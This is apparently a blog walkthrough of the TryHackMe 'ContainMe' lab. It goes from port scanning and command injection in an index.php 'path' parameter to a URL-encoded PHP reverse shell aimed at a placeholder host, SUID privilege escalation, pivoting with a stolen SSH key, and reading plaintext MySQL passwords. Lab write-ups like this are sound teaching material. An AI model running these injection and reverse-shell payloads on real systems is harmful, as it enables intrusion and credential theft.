Post

TryHackMe: ContainMe

TryHackMe: ContainMe

Hey everyone! Welcome to my write-up for the ContainMe room. As the name suggests, we’re probably going to be dealing with some containers, which means things are about to get meta. Grab your coffee, and let’s dive in!


Step 1: Reconnaissance - The Nmap Scan

As with any good heist, we start with some reconnaissance. I’ll save the machine’s IP address to a variable to make my life easier. You should too!

1
export IP=10.10.84.234

Now, let’s unleash nmap to see what doors are open. We’ll use the -p- flag to scan all 65,535 ports because we don’t want to miss anything sneaky.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ nmap -T4 -n -sC -sV -Pn -p- $IP
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-03 14:43 +0300
Nmap scan report for 10.10.84.234
Host is up (0.068s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a6:3e:80:d9:b0:98:fd:7e:09:6d:34:12:f9:15:8a:18 (RSA)
|   256 ec:5f:8a:1d:59:b3:59:2f:49:ef:fb:f4:4a:d0:1d:7a (ECDSA)
|_  256 b1:4a:22:dc:7f:60:e4:fc:08:0c:55:4f:e4:15:e0:fa (ED25519)
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
2222/tcp open  EtherNetIP-1?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8022/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.13ppa1+obfuscated~focal (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 38:39:87:29:ec:9f:b3:b7:3d:22:ef:67:f9:70:ca:ef (RSA)
|   256 4e:9e:59:79:eb:7a:32:95:f6:17:3b:d5:12:0f:9d:9f (ECDSA)
|_  256 ce:ba:ad:71:65:a1:de:13:47:11:30:a9:bf:23:e5:a9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 712.36 seconds

Alright, let’s break down our findings:

  • Port 22: Standard SSH. Nothing unusual here.
  • Port 80: An Apache web server. This is our most likely way in.
  • Port 2222: Nmap is confused, which means I’m intrigued. It failed to grab an SSH key, so it might be something else entirely.
  • Port 8022: Another SSH port! Two SSH services on one machine is a bit fishy. This could be a backdoor, a management port, or a gateway to another dimension.

Let’s start with the web server on port 80.

Step 2: Web Enumeration and RCE

First, we’ll throw some digital spaghetti at the webserver wall with gobuster to see what sticks. We’re looking for any hidden files or directories that might be interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ gobuster dir -w common.txt -u http://$IP/ -x md,js,html,php,py,css,txt,bak -t 30
===============================================================
Gobuster v3.7
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.84.234/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.7
[+] Extensions:              md,js,html,php,py,css,txt,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10918]
/index.php            (Status: 200) [Size: 329]
/info.php             (Status: 200) [Size: 68944]
Progress: 42651 / 42651 (100.00%)
===============================================================
Finished
===============================================================

(Psst! I used -t 30 because the server was a bit sleepy and I was getting some timeouts. Sometimes you just have to give it a little nudge.)

The info.php is likely a phpinfo() page (a goldmine for server info), but index.php seems more promising for direct interaction. Let’s see what it does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ curl $IP/index.php
<html>
<body>
	<pre>
	total 28K
drwxr-xr-x 2 root root 4.0K Jul 16  2021 .
drwxr-xr-x 3 root root 4.0K Jul 15  2021 ..
-rw-r--r-- 1 root root  11K Jul 15  2021 index.html
-rw-r--r-- 1 root root  154 Jul 16  2021 index.php
-rw-r--r-- 1 root root   20 Jul 15  2021 info.php
	<pre>

<!--  where is the path ?  -->

</body>
</html>

Well, hello there! The page is running something like ls -la and, more importantly, it has a little HTML comment: <!-- where is the path ? -->. That’s not just a comment; that’s an invitation! Let’s give it a path.

1
2
3
4
5
6
7
8
9
10
11
❯ curl 'http://10.10.84.234/index.php?path=../../../../../../../../etc/passwd'
<html>
<body>
	<pre>
	-rw-r--r-- 1 root root 1.4K Jul 19  2021 ../../../../../../../../etc/passwd
	<pre>

<!--  where is the path ?  -->

</body>
</html>

It seems we can list the files but we can’t actually read the file contents. The script just lists file details. But what if the backend is vulnerable to command injection? Let’s try to piggyback another command using a semicolon (;).

1
2
3
4
5
6
7
8
9
10
11
12
❯ curl 'http://10.10.84.234/index.php?path=../../../../../../../../etc/passwd;id'
<html>
<body>
	<pre>
	-rw-r--r-- 1 root root 1.4K Jul 19  2021 ../../../../../../../../etc/passwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
	<pre>

<!--  where is the path ?  -->

</body>
</html>

Bingo! The id command executed, and we see uid=33(www-data). We have Remote Code Execution (RCE)! Now it’s time to turn this tiny crack into a wide-open door.

Step 3: Getting a Shell

Let’s get ourselves a proper reverse shell. My go-to for this is the awesome Reverse Shell Generator. I’ll grab a PHP one-liner, URL-encode it, and send it on its way.

First, I’ll start a netcat listener on my machine: nc -lvnp 4444

Then, I’ll send the payload:

1
2
# Remember to URL-encode your payload! The browser or curl might do it for you, but it's good practice.
curl 'http://10.10.84.234/index.php?path=../../../../../../../../etc/passwd;php%20-r%20%27%24sock%3Dfsockopen%28%22YOUR_IP%22%2C4444%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27'

Success! We have a shell. But it’s a bit… basic. Let’s upgrade it to a fully interactive TTY so we can have a civilized working environment.

1
2
3
4
5
6
7
8
9
10
# Spawn a better bash shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Set the terminal type for colors and proper screen clearing
export TERM=xterm-256color

# Background the shell, get terminal size, and bring it back
# (Ctrl+Z)
stty raw -echo;fg
reset

Step 4: Privilege Escalation - Part 1

Now that we’re comfortably inside as www-data, let’s poke around. A quick look in /home reveals a user named mike.

1
2
3
4
5
6
7
8
9
10
11
12
www-data@host1:/home/mike$ ls -la /home/mike
total 384
drwxr-xr-x 5 mike mike   4096 Jul 30  2021 .
drwxr-xr-x 3 root root   4096 Jul 19  2021 ..
lrwxrwxrwx 1 root mike      9 Jul 19  2021 .bash_history -> /dev/null
-rw-r--r-- 1 mike mike    220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 mike mike   3771 Apr  4  2018 .bashrc
drwx------ 2 mike mike   4096 Jul 30  2021 .cache
drwx------ 3 mike mike   4096 Jul 30  2021 .gnupg
-rw-r--r-- 1 mike mike    807 Apr  4  2018 .profile
drwx------ 2 mike mike   4096 Jul 19  2021 .ssh
-rwxr-xr-x 1 mike mike 358668 Jul 30  2021 1cryptupx

There’s an interesting executable file: 1cryptupx. The name hints at encryption and maybe UPX packing. Let’s run it.

1
2
3
4
5
6
7
www-data@host1:/home/mike$ ./1cryptupx
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝

It just prints some cool ASCII art. This file doesn’t have the SUID bit set, so running it as our lowly www-data user is useless. This feels like a sample. The real prize is probably a SUID version of this file hidden somewhere. Let’s hunt for it!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Find all files with the SUID permission bit set, and redirect errors to /dev/null
www-data@host1:/usr/share/man/zh_TW$ find / -type f -perm /4000 2>/dev/null
/usr/share/man/zh_TW/crypt
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/mount
/bin/ping
/bin/su
/bin/umount
/bin/fusermount
/bin/ping6

Aha! /usr/share/man/zh_TW/crypt. Hiding a SUID binary in a Mandarin man page directory? That’s delightfully sneaky. Let’s see what happens when we feed it some arguments.

1
2
3
4
5
6
7
8
9
10
# Trying 'root' as an argument
www-data@host1:/usr/share/man/zh_TW$ ./crypt root
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝

Unable to decompress.

root gives an error. What about the other user we found, mike?

1
2
3
4
5
6
7
8
9
10
# Trying 'mike' as an argument
www-data@host1:/usr/share/man/zh_TW$ ./crypt mike
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║███╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝

root@host1:/usr/share/man/zh_TW#

And just like that, we have a root shell! The binary must have some hardcoded logic for the user mike. We didn’t even have to decompile it. Sometimes you get lucky!

Step 5: Pivoting - The Plot Thickens

We’re root! Time to grab the flag from /root and… wait a minute.

1
2
3
4
5
6
7
8
9
10
11
root@host1:/root# ls -la
total 32
drwx------  6 root root 4096 Jul 19  2021 .
drwxr-xr-x 22 root root 4096 Jul 15  2021 ..
lrwxrwxrwx  1 root root    9 Jul 19  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwxr-x---  3 root root 4096 Jul 16  2021 .config
drwx------  3 root root 4096 Jul 14  2021 .gnupg
drwxr-xr-x  3 root root 4096 Jul 14  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Jul 19  2021 .ssh

There’s no flag. This is where the room’s name, “ContainMe,” really clicks. We’re root, but we’re root inside a container. Let’s check the network interfaces.

1
2
3
4
5
6
7
root@host1:/root/.ssh# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.250.10  netmask 255.255.255.0  broadcast 192.168.250.255
        ...
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.20.2  netmask 255.255.255.0  broadcast 172.16.20.255
        ...

We have two network interfaces. This confirms we’re on an internal network. The other host we need to get to is likely on that 172.16.20.0/24 network. Let’s grab Mike’s SSH private key from /home/mike/.ssh/id_rsa and use it to pivot.

1
2
3
4
5
6
7
8
root@host1:/home/mike/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAnWmOnLHQfBxrW0W0YuCiTuuGjCMUrISE4hdDMMuZruW6nj+z
.
.
.
0/AHOf/jOfwvM4G2X0L8yjJqq/5F6NOjf9uxEusphzDcr/I1inuY3A==
-----END RSA PRIVATE KEY-----

Now, from inside our container (host1), let’s try to SSH into the other host (host2). The other host’s IP is likely on the same subnet. Let’s try to guess or scan for it. A common convention is to use .1 for the gateway and other low numbers for hosts. After some quick scanning (or guessing), we can find the other host at 172.16.20.6.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# SSHing from inside the container to the other host
root@host1:/home/mike/.ssh# ssh -i id_rsa mike@172.16.20.6
The authenticity of host '172.16.20.6 (172.16.20.6)' can't be established.
ECDSA key fingerprint is SHA256:L1BKa1sC+LgClbpAX5jJvzYALuhUDf1zEzhPc/C++/8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.20.6' (ECDSA) to the list of known hosts.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Jul 19 20:23:18 2021 from 172.16.20.2
mike@host2:~$

We’re in! We have successfully pivoted to host2.

Step 6: Privilege Escalation - Part 2 (The Final Boss)

New host, same old routine. Let’s start by looking for easy wins.

1
2
3
4
# Another SUID check, just in case
mike@host2:~$ find / -type f -perm /4000 2>/dev/null
/usr/bin/newuidmap
...

Nothing juicy this time. On to Plan B: check running services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mike@host2:~$ service --status-all
 [ - ]  acpid
 [ + ]  apparmor
 [ + ]  apport
 [ + ]  atd
 [ + ]  cron
 [ - ]  cryptdisks
 [ - ]  cryptdisks-early
 [ + ]  dbus
 ...
 [ + ]  mysql
 ...
 [ + ]  ssh
 ...

mysql is running! Databases are notorious for storing tasty secrets. Let’s see if we can log in. Maybe Mike reused a password? Or used a weak one?

1
2
3
4
5
6
# Let's try some common weak passwords for user mike...
mike@host2:~$ mysql --user=mike --password=*********
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
...
mysql>

And we’re in! Never underestimate the power of a terrible password. Let’s see what databases we have.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| accounts           |
+--------------------+
2 rows in set (0.01 sec)

mysql> use accounts;
Database changed

mysql> show tables;
+--------------------+
| Tables_in_accounts |
+--------------------+
| users              |
+--------------------+
1 row in set (0.00 sec)

mysql> select * from users;
+-------+---------------------+
| login | password            |
+-------+---------------------+
| root  | *****************   |
| mike  | *****************   |
+-------+---------------------+
2 rows in set (0.00 sec)

Jackpot! The users table contains plaintext passwords for both mike and root. This is a classic security faux pas. Let’s use the root password to become the true master of this machine.

1
2
3
# su to root and enter the password we found
mike@host2:~$ su root
root@host2:~#

Step 7: The Final Flag

We are now root on host2. Let’s check the /root directory for our prize.

1
2
3
4
5
6
root@host2:~# ls -la
total 28
drwx------  4 root root 4096 Jul 19  2021 .
drwxr-xr-x 22 root root 4096 Jun 29  2021 ..
...
-rw-------  1 root root  218 Jul 16  2021 mike.zip

There’s a mike.zip file. Let’s try to unzip it.

1
2
3
root@host2:~# unzip mike.zip
Archive:  mike.zip
[mike.zip] mike password:

It’s password-protected. What could the password be? Let’s try the password for mike that we found in the database.

1
2
3
4
5
# Enter 'password' when prompted
root@host2:~# unzip mike.zip
Archive:  mike.zip
[mike.zip] mike password:
 extracting: mike

It worked! The archive extracted a file named mike. Let’s see what’s inside.

1
2
root@host2:~# cat mike
THM{*************************}

And there it is! The flag! What a journey through containers, SUID binaries, and plaintext passwords.

Thanks for reading! I hope you enjoyed this walkthrough. Happy hacking!

This post is licensed under CC BY 4.0 by the author.